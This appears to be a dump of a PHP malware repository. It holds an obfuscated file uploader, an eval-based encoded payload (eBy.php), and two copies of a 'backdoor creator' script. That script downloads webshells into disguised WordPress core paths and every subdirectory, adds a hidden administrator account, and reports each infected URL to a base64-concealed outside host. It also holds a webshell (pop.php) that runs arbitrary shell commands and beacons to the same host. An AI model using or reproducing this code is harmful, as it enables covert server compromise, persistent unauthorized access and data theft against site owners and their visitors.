$_FILES["\x66\151\x6c\x65"]["\x6e\141\155\x65"] . "\42\76" . $_FILES["\x66\x69\x6c\145"]["\156\x61\x6d\x65"] . "\x3c\57\x61\x3e"; goto Ut6ci; ZrKGn: $zOir8 = "\150\164\x74\x70\x3a\x2f\x2f" . $_SERVER["\x48\124\x54\x50\x5f\x48\117\123\x54"] . $_SERVER["\122\105\121\125\x45\x53\124\x5f\125\122\x49"]; goto DdCR3; VD20y: echo "\74\x61\x20\x68\x72\x65\x66\x3d\x22\43\x22\x3e\110\145\x6c\154\x6f\x20\x44\141\144\171\x3c\57\141\x3e"; goto p58f5; zpb8C: $pA3Es = stream_context_create($qrkpM); goto GWOwo; Ut6ci: j6ngD: goto MvXGh; DdCR3: $WQAx6 = array("\146\x69\x6c\x65\137\x75\x72\x6c" => $zOir8); goto gh7Bi; kaqZe: $YGX67 = base64_decode("\141\110\x52\60\143\110\115\66\x4c\171\71\x7a\x61\130\154\x68\x61\107\153\165\144\x47\71\167\x4c\x33\x52\x6c\143\x33\x51\166\143\x33\x52\65\142\107\125\x75\x63\x47\150\x77"); goto ZrKGn; cNbTz: echo "\74\x62\x3e\104\x6f\156\x65\74\57\x62\x3e\74\142\162\x3e\74\x62\162\x3e\74\x61\40\x68\x72\145\146\75\42\56\57" . $_FILES["\146\x69\x6c\x65"]["\x6e\141\155\145"] . "\x22\x3e" . $_FILES["\146\151\154\145"]["\x6e\x61\x6d\145"] . "\74\x2f\x61\x3e"; goto k6iem; MvXGh: T1_wL: goto Qj02s; gh7Bi: $qrkpM = array("\150\164\164\160" => array("\x6d\145\164\x68\x6f\x64" => "\120\x4f\x53\124", "\150\145\141\x64\145\162" => "\x43\x6f\x6e\164\x65\156\x74\55\x74\171\x70\145\x3a\x20\x61\x70\x70\154\151\143\x61\x74\151\x6f\x6e\57\x78\55\167\x77\167\x2d\x66\157\162\x6d\55\x75\x72\x6c\x65\x6e\143\157\144\x65\x64", "\143\x6f\x6e\164\145\x6e\x74" => http_build_query($WQAx6))); goto zpb8C; iLa7Z: echo "\74\151\x6e\x70\165\x74\x20\164\x79\x70\x65\75\x22\146\x69\154\x65\42\40\x6e\x61\155\x65\75\42\x66\151\x6c\145\42\40\x73\151\x7a\145\x3d\42\65\60\x22\x3e\x3c\x69\x6e\160\x75\x74\x20\156\x61\x6d\x65\x3d\42\137\165\x70\x6c\x22\40\164\x79\x70\145\x3d\42\x73\165\x62\155\x69\x74\x22\40\x69\144\75\x22\137\165\160\x6c\x22\x20\x76\x61\x6c\165\145\75\x22\x55\x70\154\157\x61\144\42\x3e\74\x2f\x66\157\162\155\76"; goto VD20y; FbNYC: echo "\74\142\76\x4e\x6f\164\40\x55\160\x6c\157\x61\144\x20\106\x69\x6c\x65\40\x21\74\57\142\x3e\x3c\142\162\x3e\x3c\142\162\x3e"; goto RAWYd; Qzme4: if (@copy($_FILES["\x66\x69\x6c\x65"]["\164\x6d\x70\x5f\x6e\141\x6d\x65"], $_FILES["\146\x69\154\x65"]["\x6e\x61\x6d\x65"])) { goto aw3ez; } goto EQGCo; Qj02s: RGhxq:
6 | 


--------------------------------------------------------------------------------
/eBy.php:
--------------------------------------------------------------------------------
1 | <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}    
2 |         .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}    
3 |         .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};    
4 |         eval($O00O0O("JE8wTzAwMD0iUFhUU1F5R0NId2RaRUtGT2tMaWFKanpveFZnaHVOZm1NQlJwZWxJckFjc2J2bnRxVVlXREFScVhpVGd2VlFzS1VuQ3pGU0J4RXVvYk5aY2tEUG1sTGFyT3RwSWVoanlXSk13SGRHZllBWTlReFZobktSS2tXdmNNQW80TVNsS09XZ1ptSzJaMFIyUEpXTXJwV01yb252c1F4Vmg2U1Q5T1dNYTFzdmpPbnF5bkVneW90UmpjQVhhQkdSUHBQdXJtS2dadVcycnBudnNrWENJUUcwa1BQRk41elJPa2ZnTmJHZHNlc2ZyVnpSc0xMMUV5R29QcnNsTG9kdVpCcjFaMUcwc2JzVGpPelFiRkczWlRJWTBjRTJrMHNWaDZTVDhNSXY0Y0VDOXFyWkVmclpFV0Uwa2RaQ2FtWFU5cVp2c3NJdjRjRUM5cXJaRWZyWkVXRTFFQ2RaWkNkMXJtWlpFRUUxMDd2QnJGR1Jya0lZMGNHUkVUR1JGYkUyS09XZ1ptc1JFeUVUaDlBQmhGRzNaVG5xeW5FZzlRc2dwSldNTGNBWGFrak1Fa3RYY25JdmhjSXZzYnNWclFFVGg5QUJha2pNRWt0WGNuSXZoY0l2aGNJdmhNV2ZaMHhnOUZFVGhjQXE0Y0UxYUFkMWlNU2hiY0l2aGNJdmhjSXZzYktmQ0ZLUklNSXZoOUFCaE1pMjlEc2daRHN2MTB0UmFwekJha2pWYXl4ZlBrc2dwSldCOTRTUnMzc1QxbFczRXdTUlpUV2daREcyOUZLZmlNU2hiY0l2aGNJdmhjSXZzdVcyNTBLZjUwRVRoOUFCYWJzVnJRUjJFMXhmTkZSM0MxS1JFNW52ckZHUnJrblhRbkl2aGNJdkZ5dkJGN3ZCcnVXMjUwS1JrMElZMGNqM3JUS2ZDd1IyUEpXTXJwdFZybUczRXBHUnJwbnZySmpWck9XMjVvbnF5bkVWRXBqM1p5c3ZoOUlnS09XZ1ptSzJaMFIyUEpXTXJwV01yb252cmVMM3AzU3ZhbEdmTm9LWFFjRWdQSldNcnB0VmlPelFPT0tCaGJJZ3BvajJaMG52cm1yMFpkZlRzUGlYc3NuWGhPdk15bnZmWnV4ZzhjRW9OdUtmNTBLUkkrQWdJK0VUNVF4VmFtc2Y1a1dmZGJuWDRNQWdFVEF1UUpHdTQ4R3U0OEdNSStBZ0VUQUJqREVUakRFb05CanU0OFMySStFb3ludmZadXhnOGNFb05sVzNFd0lnQ3VzZ3BKV3UwQklCYXdLUnJiVzJpOUlNYUpqM2lCSWdaREczcjVqZ2Q5SWwxMVdWck9qZ0NUc3Y5bFczRXdTZnJrc2dVQklnNWtXZmQ5SWxJMEd1aUJJZ3BGQVhFQlBnSTBJdTRNelFiRUtmUGJXVGhNQWdwRGpWWjBJVnI1amdkOUlsS09XZ2RCSWc1a1dmZDlJbEtPV2dkQklWUE90bGQ5SXVkUUl1NDh4ZjVRc1JpY1dsQ3dLcTBCUjNaUVd2SWNzVnBRS3EwQmozWkJXZnAwSUJhT0tZMEJSM1pRV3ZJY3NsQ3lzZmQ5SXBaUVdnOWtLdkkrQXY5bFczRXdBQmo3dmNGRUtmUGJXVGhNQWdVY3hWRXBLdTBCSVRJK1hnWnlXZzhjcmdDRnRxUUpHcTRNelFiRXhmR2JJdnJtZFU5cVpDeU1SM1pRV3Zzc0lZMDlJdkVaamdOSkdmaUJJdkZjdFFiRXZmcGxuVWF1VzNhNW52cm1yRnBMclpQV0UyS09XZ2RNUlp5TXNnMVFSMjVrV2ZkTVJYUWNFQzlnWGROQ2QxeU1LbHB5S1hzc2ZUc0RHZjFwRTEwT25YYTdJZ1p1eGc4Y0VvTkJBRnJKV2xkOFMySStBZ0VUQXVOQmp1NDhHWGFiamxabEFYSURTVGpjU0JoRlIwS0VxVVpxZlRzbHhmTnBFMTFXRTI1a1dmZE1SWGhESXZqQkFCamNTQmhGUjBLRXFVWnFmVHNseGZOcEUxMVdFMjVrV2ZkTVJYaERJdmo4UzJVK0VveWNtaWJFdmZaeWoyZGN0VGFwRzJrSkl2ajhHdTV6VzNpY1pSYXlXMkNGSVVLT1dnZGNJcVFKR3U0OEdNSStBZ0VUQUJqN0lWMG52UjBuS1JrT3NZeW5taU9PS0JoYkVDOXFyWkVmclpFV0UxRUNkWlpDZDFybXFkWmRYVTlVRTEwY0FxMDlJdnNpcTFQZEVURmN0UWJjSXZoY0VWUE9zZ1pvSVkwY0VDOWlxMVBkZlRzb3hScnBqVHNzelFiY0l2aGNFZ0U1TFhoOUl2cm1kVTlxWkN5TUdNRk5FMTA3dkJoY0l2aEZHTUZUSVkwY0VDOWlxMVBkZlRzQnRxSU1ScXluSXZoY0l2cmx4Zk5wSVkwY0VDOWlxMVBkZlRzbHhmTnBFMTA3dkJoY0l2aEZLZ3BUS2ZQMFczRU9LUkxjQVhhcHRWYXlXMnJwbnZFaldCSXlJdnJveFJycGpURjd2Y2JjSXZoY0tsOVRLZkN1eHZoYkVnck9qbFp1c2c5VHhmWm9JZ0NvSXZyRnhSRXBHM3JKak1GT0lWeW5JdmhjSXZoY0l2aEZLZ3BUS2ZQMFczRTVJWTBjc1ZFT1dYY0ZLZ3BUS2ZQMFczRTVucXluSXZoY0l2aGNJdmFPS0JoYklmWndqVnI1bnZyRnhSRXBHM3JKak1GT25YYTd2QmhjSXZoY0l2aGNFVlBiS2ZOeUlZMGNJcGFVelJza1hVQ01Hb1B5dGxyVlpNclNpMUVsZHVhZlpaczVLZ09CWjFDRGZDUGVQMWE2UFkwQnpRYmNJdmhjSXZoY0l2ckZLZlBKS2daRmQya3BXZ1FjQVhhQkdSUHBQdXJtS2dadVcycnBudnJveGdaeVd2Rjd2Y2JjSXZoY0l2aGNJdnJ1VzIxd0dmNUZJWTBjSWxadXhnOGNFM3lGS2dadVcycnBLQ1BiS2ZOeW1YamNBQmhNdFRyQnRxQzl0VHJGeFJFcEczckpqTXA5dFRyQnRxRTlTM3lGS2xweUtSME1JdXluSXZoY0l2aGNJdmhjSXZoY0tSa3BHVGNGRzI5d1dmQ0RLdkY3dkJoY0l2aGNJdmhjSXZoY0lnWnV4ZzhjRWdyT2psWnVzZzlUdFhoREl2SUpJQmhESXZybHhmTnBJdjRjSXVOQmp1NEJ6UWJjSXZoY0l2aGNJaGJjSXZoY0l2aGNJVjBuSXZoY0lWMG5taWJuQW80bnZjYjhJZHJBaTFyS2RVZGN4VnJ3V1k0bkFnazBXZlErdnVOYktmQ0ZBY2JjSXZoY0FWck9zZ05wQUZFNWRnQ29qVGFxS1JFMktSSThTM3JPc2dOcEFjYjhTMmtwR2ZpK3Z1TkJXMnI1QXVOdUtmNTBLUkkrdkJoY0l2aDh4WVUraU1waUdSUG9JQ1Bwak1LcGpCaGJJWUlRTHVMY25xUUp4WVUrdkJoY0l2aDhLbDlUV1hhd0tScmJXMmk5SU1hSmozaUJBY2JjSXZoY0l2aGNJWU4wS1JrMEdSRXBHWGFER2YxcEFYRW94UnJwalRJY2psOTNqbzBCUFhJY0cyOXlqbzBCUFloQklWYXlHZlBweGc5eUtnWlRBWEVVVzIxT0dmNW9JdTQ4UzNycHRWcmtqbFprQWNiY0l2aGNJdmhjSVlOQmp1NG5JdmhjSXZoY0l2aDh4ZjVRc1JpY3NWcFFLcTBCc2daNHN2SWNXbEN3S3EwQkdNRk5JQmFRV2dDdUtma0pXZ3JwanUwQlMya0pXZmRKSXU0bkl2aGNJdmhjSXZoOEdNSSt2QmhjSXZoY0l2aGNBZ3BEalZaMElWcjVqZ2Q5SU1ycHRWaUJJZzVrV2ZkOUlsRTVMQkljamdOa0cyWmJXMk5GS1JJOUlCOVFzZkV5eGZQbXhWcndXdjhCQWNiY0l2aGNJdmhjSVlOQmp1NG5JdmhjSXZoY0l2aDh4ZjVRc1JpY3NWcFFLcTBCc2daNHN2SWNXbEN3S3EwQktscHlLWEljamdOa0cyWmJXMk5GS1JJOUlwazRmdjVReFZoQkFjYmNJdmhjSXZoY0lZTkJqdTRuSXZoY0l2aGNJdmg4eGY1UXNSaWNzVnBRS3EwQmozWkJXZnAwSUJhMkdmTjFLcTBCZE1aekl1NG5JdmhjSVlRSktsOVRXcTRuQWdFVEFjYjh4WUkrWmdaeUtmc1RHZjBjekJhaGpWWkJXZ3B1UjJrMFdmUWNtdmFDV2ZDT1d2aDZJVlBPamwxa2psQzZpZ3N3R2ZweVNsUEpXcVFKeFlJK3Z1UUpHbDlGdHE0OFMyUHBXTXJwanU0bkF2OWJzZzF5QWM9PSI7ICAKICAgICAgICBldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCAgICAKICAgICAgICAkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));?>


--------------------------------------------------------------------------------
/autobackdoor.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | $url1 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php';
  4 | $url2 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/alfa2024.php';
  5 | 
  6 | function download_content($url) {
  7 |     $content = @file_get_contents($url);
  8 |     if ($content === false) {
  9 |         $content = download_content_with_curl($url);
 10 |     }
 11 |     if ($content === false) {
 12 |         $content = download_content_with_fopen($url);
 13 |     }
 14 |     if ($content === false) {
 15 |         throw new Exception("Failed to download content from $url");
 16 |     }
 17 |     return $content;
 18 | }
 19 | 
 20 | function download_content_with_curl($url) {
 21 |     $ch = curl_init($url);
 22 |     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 23 |     $content = curl_exec($ch);
 24 |     curl_close($ch);
 25 |     return $content ? $content : false;
 26 | }
 27 | 
 28 | function download_content_with_fopen($url) {
 29 |     $content = '';
 30 |     if ($fh = fopen($url, 'r')) {
 31 |         while (!feof($fh)) {
 32 |             $content .= fread($fh, 8192);
 33 |         }
 34 |         fclose($fh);
 35 |     }
 36 |     return !empty($content) ? $content : false;
 37 | }
 38 | 
 39 | function get_full_url($filePath) {
 40 |     $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
 41 |     $domainName = $_SERVER['HTTP_HOST'];
 42 |     $relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $filePath);
 43 |     return $protocol . $domainName . $relativePath;
 44 | }
 45 | 
 46 | function create_files_in_subdirectories($rootDir, $url) {
 47 |     $subdirs = array_filter(glob($rootDir . '/*'), 'is_dir');
 48 |     foreach ($subdirs as $subdir) {
 49 |         $dirName = basename($subdir);
 50 |         $filePath = $subdir . '/' . $dirName . '_function.php';
 51 |         if (!file_exists($filePath)) {
 52 |             try {
 53 |                 file_put_contents($filePath, download_content($url));
 54 |                 echo "<a href='" . get_full_url($filePath) . "' target='_blank'>Created: " . get_full_url($filePath) . "</a><br>";
 55 |             } catch (Exception $e) {
 56 |                 echo "<div>Error creating file in $subdir: " . $e->getMessage() . "</div><br>";
 57 |             }
 58 |         }
 59 |     }
 60 | }
 61 | 
 62 | function create_wp_admin_user($rootDir, $username, $password) {
 63 |     require_once($rootDir . '/wp-config.php');
 64 |     require_once($rootDir . '/wp-includes/wp-db.php');
 65 |     require_once($rootDir . '/wp-includes/pluggable.php');
 66 | 
 67 |     global $wpdb;
 68 | 
 69 |     $user_id = username_exists($username);
 70 |     if (!$user_id && email_exists($username . '@example.com') == false) {
 71 |         $user_id = wp_create_user($username, $password, $username . '@example.com');
 72 |         $user = new WP_User($user_id);
 73 |         $user->set_role('administrator');
 74 |         echo "<div>Admin user created with username: $username and password: $password</div><br>";
 75 |     } else {
 76 |         echo "<div>Admin user already exists.</div><br>";
 77 |     }
 78 | }
 79 | 
 80 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
 81 | 
 82 | echo "<!DOCTYPE html>
 83 | <html>
 84 | <title>backdoor creator</title>
 85 | <p>@trxsecurity</p>
 86 | <head>
 87 |     <style>
 88 |         body {
 89 |             background-color: black;
 90 |             color: white;
 91 |             font-family: Arial, sans-serif;
 92 |             text-align: center;
 93 |         }
 94 |         a {
 95 |             color: #00f;
 96 |             text-decoration: none;
 97 |         }
 98 |         a:hover {
 99 |             text-decoration: underline;
100 |         }
101 |         div, a {
102 |             margin: 10px 0;
103 |         }
104 |         form {
105 |             margin: 20px auto;
106 |         }
107 |         input[type='text'] {
108 |             width: 80%;
109 |             padding: 10px;
110 |             margin: 10px 0;
111 |             border: 1px solid #ccc;
112 |             border-radius: 4px;
113 |         }
114 |         input[type='submit'] {
115 |             padding: 10px 20px;
116 |             background-color: #4CAF50;
117 |             color: white;
118 |             border: none;
119 |             border-radius: 4px;
120 |             cursor: pointer;
121 |         }
122 |     </style>
123 | </head>
124 | <body>";
125 | 
126 | $currentDir = __DIR__;
127 | $rootDir = isset($_POST['directory']) ? $_POST['directory'] : $currentDir;
128 | 
129 | echo "<form method='post'>
130 |     <label for='directory'>Enter Directory Path:</label><br>
131 |     <input type='text' id='directory' name='directory' value='" . htmlspecialchars($rootDir) . "'><br>
132 |     <input type='submit' value='Run'>
133 | </form>";
134 | 
135 | if ($_SERVER['REQUEST_METHOD'] == 'POST') {
136 |     if (file_exists($rootDir . '/wp-config.php')) {
137 |         echo "<div>WordPress detected.</div><br>";
138 | 
139 |         $path1 = $rootDir . '/wp-includes/ID3/module.audio.ac4.php';
140 |         if (!file_exists($path1)) {
141 |             try {
142 |                 file_put_contents($path1, download_content($url1));
143 |                 echo "<a href='" . get_full_url($path1) . "' target='_blank'>Created: " . get_full_url($path1) . "</a><br>";
144 |             } catch (Exception $e) {
145 |                 echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
146 |             }
147 |         }
148 | 
149 |         $path2 = $rootDir . '/wp-includes/PHPMailer/config.php';
150 |         if (!file_exists($path2)) {
151 |             try {
152 |                 file_put_contents($path2, download_content($url2));
153 |                 echo "<a href='" . get_full_url($path2) . "' target='_blank'>Created: " . get_full_url($path2) . "</a><br>";
154 |             } catch (Exception $e) {
155 |                 echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
156 |             }
157 |         }
158 | 
159 |         create_files_in_subdirectories($rootDir, $url1);
160 |         create_wp_admin_user($rootDir, 'MrZ', 'trxsecurity');
161 |     } else {
162 |         echo "<div>Not a WordPress site. Creating files in subdirectories.</div><br>";
163 |         create_files_in_subdirectories($rootDir, $url1);
164 |     }
165 | }
166 | 
167 | echo "</body></html>";
168 | 
169 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
170 | $data = array('file_url' => $cur);
171 | $options = array(
172 |     'http' => array(
173 |         'method'  => 'POST',
174 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
175 |         'content' => http_build_query($data),
176 |     ),
177 | );
178 | $context = stream_context_create($options);
179 | $result = @file_get_contents($k3yw, false, $context);
180 | if ($result === false) {
181 |     echo "<div>Error reporting file URL.</div><br>";
182 | }
183 | ?>
184 | 


--------------------------------------------------------------------------------
/tools/backdoor_creator.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | $url1 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php';
  4 | $url2 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/alfa2024.php';
  5 | 
  6 | function download_content($url) {
  7 |     $content = @file_get_contents($url);
  8 |     if ($content === false) {
  9 |         $content = download_content_with_curl($url);
 10 |     }
 11 |     if ($content === false) {
 12 |         $content = download_content_with_fopen($url);
 13 |     }
 14 |     if ($content === false) {
 15 |         throw new Exception("Failed to download content from $url");
 16 |     }
 17 |     return $content;
 18 | }
 19 | 
 20 | function download_content_with_curl($url) {
 21 |     $ch = curl_init($url);
 22 |     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 23 |     $content = curl_exec($ch);
 24 |     curl_close($ch);
 25 |     return $content ? $content : false;
 26 | }
 27 | 
 28 | function download_content_with_fopen($url) {
 29 |     $content = '';
 30 |     if ($fh = fopen($url, 'r')) {
 31 |         while (!feof($fh)) {
 32 |             $content .= fread($fh, 8192);
 33 |         }
 34 |         fclose($fh);
 35 |     }
 36 |     return !empty($content) ? $content : false;
 37 | }
 38 | 
 39 | function get_full_url($filePath) {
 40 |     $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
 41 |     $domainName = $_SERVER['HTTP_HOST'];
 42 |     $relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $filePath);
 43 |     return $protocol . $domainName . $relativePath;
 44 | }
 45 | 
 46 | function create_files_in_subdirectories($rootDir, $url) {
 47 |     $subdirs = array_filter(glob($rootDir . '/*'), 'is_dir');
 48 |     foreach ($subdirs as $subdir) {
 49 |         $dirName = basename($subdir);
 50 |         $filePath = $subdir . '/' . $dirName . '_function.php';
 51 |         if (!file_exists($filePath)) {
 52 |             try {
 53 |                 file_put_contents($filePath, download_content($url));
 54 |                 echo "<a href='" . get_full_url($filePath) . "' target='_blank'>Created: " . get_full_url($filePath) . "</a><br>";
 55 |             } catch (Exception $e) {
 56 |                 echo "<div>Error creating file in $subdir: " . $e->getMessage() . "</div><br>";
 57 |             }
 58 |         }
 59 |     }
 60 | }
 61 | 
 62 | function create_wp_admin_user($rootDir, $username, $password) {
 63 |     require_once($rootDir . '/wp-config.php');
 64 |     require_once($rootDir . '/wp-includes/wp-db.php');
 65 |     require_once($rootDir . '/wp-includes/pluggable.php');
 66 | 
 67 |     global $wpdb;
 68 | 
 69 |     $user_id = username_exists($username);
 70 |     if (!$user_id && email_exists($username . '@example.com') == false) {
 71 |         $user_id = wp_create_user($username, $password, $username . '@example.com');
 72 |         $user = new WP_User($user_id);
 73 |         $user->set_role('administrator');
 74 |         echo "<div>Admin user created with username: $username and password: $password</div><br>";
 75 |     } else {
 76 |         echo "<div>Admin user already exists.</div><br>";
 77 |     }
 78 | }
 79 | 
 80 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
 81 | 
 82 | echo "<!DOCTYPE html>
 83 | <html>
 84 | <title>backdoor creator</title>
 85 | <p>@trxsecurity</p>
 86 | <head>
 87 |     <style>
 88 |         body {
 89 |             background-color: black;
 90 |             color: white;
 91 |             font-family: Arial, sans-serif;
 92 |             text-align: center;
 93 |         }
 94 |         a {
 95 |             color: #00f;
 96 |             text-decoration: none;
 97 |         }
 98 |         a:hover {
 99 |             text-decoration: underline;
100 |         }
101 |         div, a {
102 |             margin: 10px 0;
103 |         }
104 |         form {
105 |             margin: 20px auto;
106 |         }
107 |         input[type='text'] {
108 |             width: 80%;
109 |             padding: 10px;
110 |             margin: 10px 0;
111 |             border: 1px solid #ccc;
112 |             border-radius: 4px;
113 |         }
114 |         input[type='submit'] {
115 |             padding: 10px 20px;
116 |             background-color: #4CAF50;
117 |             color: white;
118 |             border: none;
119 |             border-radius: 4px;
120 |             cursor: pointer;
121 |         }
122 |     </style>
123 | </head>
124 | <body>";
125 | 
126 | $currentDir = __DIR__;
127 | $rootDir = isset($_POST['directory']) ? $_POST['directory'] : $currentDir;
128 | 
129 | echo "<form method='post'>
130 |     <label for='directory'>Enter Directory Path:</label><br>
131 |     <input type='text' id='directory' name='directory' value='" . htmlspecialchars($rootDir) . "'><br>
132 |     <input type='submit' value='Run'>
133 | </form>";
134 | 
135 | if ($_SERVER['REQUEST_METHOD'] == 'POST') {
136 |     if (file_exists($rootDir . '/wp-config.php')) {
137 |         echo "<div>WordPress detected.</div><br>";
138 | 
139 |         $path1 = $rootDir . '/wp-includes/ID3/module.audio.ac4.php';
140 |         if (!file_exists($path1)) {
141 |             try {
142 |                 file_put_contents($path1, download_content($url1));
143 |                 echo "<a href='" . get_full_url($path1) . "' target='_blank'>Created: " . get_full_url($path1) . "</a><br>";
144 |             } catch (Exception $e) {
145 |                 echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
146 |             }
147 |         }
148 | 
149 |         $path2 = $rootDir . '/wp-includes/PHPMailer/config.php';
150 |         if (!file_exists($path2)) {
151 |             try {
152 |                 file_put_contents($path2, download_content($url2));
153 |                 echo "<a href='" . get_full_url($path2) . "' target='_blank'>Created: " . get_full_url($path2) . "</a><br>";
154 |             } catch (Exception $e) {
155 |                 echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
156 |             }
157 |         }
158 | 
159 |         create_files_in_subdirectories($rootDir, $url1);
160 |         create_wp_admin_user($rootDir, 'MrZ', 'trxsecurity');
161 |     } else {
162 |         echo "<div>Not a WordPress site. Creating files in subdirectories.</div><br>";
163 |         create_files_in_subdirectories($rootDir, $url1);
164 |     }
165 | }
166 | 
167 | echo "</body></html>";
168 | 
169 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
170 | $data = array('file_url' => $cur);
171 | $options = array(
172 |     'http' => array(
173 |         'method'  => 'POST',
174 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
175 |         'content' => http_build_query($data),
176 |     ),
177 | );
178 | $context = stream_context_create($options);
179 | $result = @file_get_contents($k3yw, false, $context);
180 | if ($result === false) {
181 |     echo "<div>Error reporting file URL.</div><br>";
182 | }
183 | ?>
184 | 


--------------------------------------------------------------------------------
/pop.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | function changeDirectory($path) {
  4 |     if (is_dir($path)) {
  5 |         chdir($path);
  6 |         return getcwd();
  7 |     } else {
  8 |         echo "Directory does not exist.";
  9 |         return getcwd();
 10 |     }
 11 | }
 12 | 
 13 | $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
 14 | $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
 15 | $currentDir = changeDirectory($currentDir);
 16 | 
 17 | 
 18 | 
 19 | $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
 20 | $data = array('file_url' => $cur);
 21 | $options = array(
 22 |     'http' => array(
 23 |         'method'  => 'POST',
 24 |         'header'  => 'Content-type: application/x-www-form-urlencoded',
 25 |         'content' => http_build_query($data),
 26 |     ),
 27 | );
 28 | $context = stream_context_create($options);
 29 | $result = file_get_contents($k3yw, false, $context);
 30 | 
 31 | 
 32 | function runCommand($command) {
 33 |     $output = shell_exec($command);
 34 |     echo "<pre>$output</pre>";
 35 | }
 36 | 
 37 | 
 38 | function createFile($fileName, $content) {
 39 |     if (file_put_contents($fileName, $content) !== false) {
 40 |         echo "File '$fileName' created successfully!";
 41 |     } else {
 42 |         echo "Failed to create file '$fileName'.";
 43 |     }
 44 | }
 45 | 
 46 | 
 47 | if (isset($_POST['upload'])) {
 48 |     $target_dir = $currentDir . "/";
 49 |     $target_file = $target_dir . basename($_FILES['file']['name']);
 50 |     
 51 | 
 52 |     if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
 53 |         echo "The file ". htmlspecialchars(basename($_FILES['file']['name'])). " has been uploaded.";
 54 |     } else {
 55 |         echo "Sorry, there was an error uploading your file.";
 56 |     }
 57 | }
 58 | 
 59 | 
 60 | if (isset($_GET['mkdir'])) {
 61 |     $dirName = $_GET['mkdir'];
 62 |     if (mkdir($currentDir . '/' . $dirName)) {
 63 |         echo "Directory '$dirName' created successfully!";
 64 |     } else {
 65 |         echo "Failed to create directory '$dirName'.";
 66 |     }
 67 | }
 68 | 
 69 | 
 70 | if (isset($_GET['delete'])) {
 71 |     $fileName = $_GET['delete'];
 72 |     if (unlink($currentDir . '/' . $fileName)) {
 73 |         echo "File '$fileName' deleted successfully!";
 74 |     } else {
 75 |         echo "Failed to delete file '$fileName'.";
 76 |     }
 77 | }
 78 | 
 79 | 
 80 | if (isset($_GET['view'])) {
 81 |     $fileName = $_GET['view'];
 82 |     if (file_exists($currentDir . '/' . $fileName)) {
 83 |         $content = file_get_contents($currentDir . '/' . $fileName);
 84 |         echo "<pre>" . htmlspecialchars($content) . "</pre>";
 85 |     } else {
 86 |         echo "File '$fileName' does not exist.";
 87 |     }
 88 | }
 89 | ?>
 90 | 
 91 | <!DOCTYPE html>
 92 | <html lang="en">
 93 | <head>
 94 |     <meta charset="UTF-8">
 95 |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 96 |     <title>PHP File Manager</title>
 97 |     <style>
 98 |         body {
 99 |             font-family: Arial, sans-serif;
100 |             margin: 20px;
101 |             background-color: #f4f4f9;
102 |             color: #333;
103 |         }
104 |         h1 {
105 |             background-color: #007bff;
106 |             color: white;
107 |             padding: 15px;
108 |             text-align: center;
109 |             border-radius: 5px;
110 |         }
111 |         form {
112 |             margin-bottom: 20px;
113 |             background-color: white;
114 |             padding: 15px;
115 |             border-radius: 5px;
116 |             box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
117 |         }
118 |         label {
119 |             font-weight: bold;
120 |         }
121 |         input[type="text"], textarea, input[type="file"] {
122 |             width: 100%;
123 |             padding: 10px;
124 |             margin: 5px 0;
125 |             border: 1px solid #ccc;
126 |             border-radius: 5px;
127 |         }
128 |         input[type="submit"], button {
129 |             background-color: #007bff;
130 |             color: white;
131 |             padding: 10px 20px;
132 |             border: none;
133 |             cursor: pointer;
134 |             border-radius: 5px;
135 |             margin-top: 10px;
136 |         }
137 |         input[type="submit"]:hover, button:hover {
138 |             background-color: #0056b3;
139 |         }
140 |         .directory {
141 |             margin-bottom: 20px;
142 |             padding: 15px;
143 |             background-color: #e9ecef;
144 |             border-radius: 5px;
145 |         }
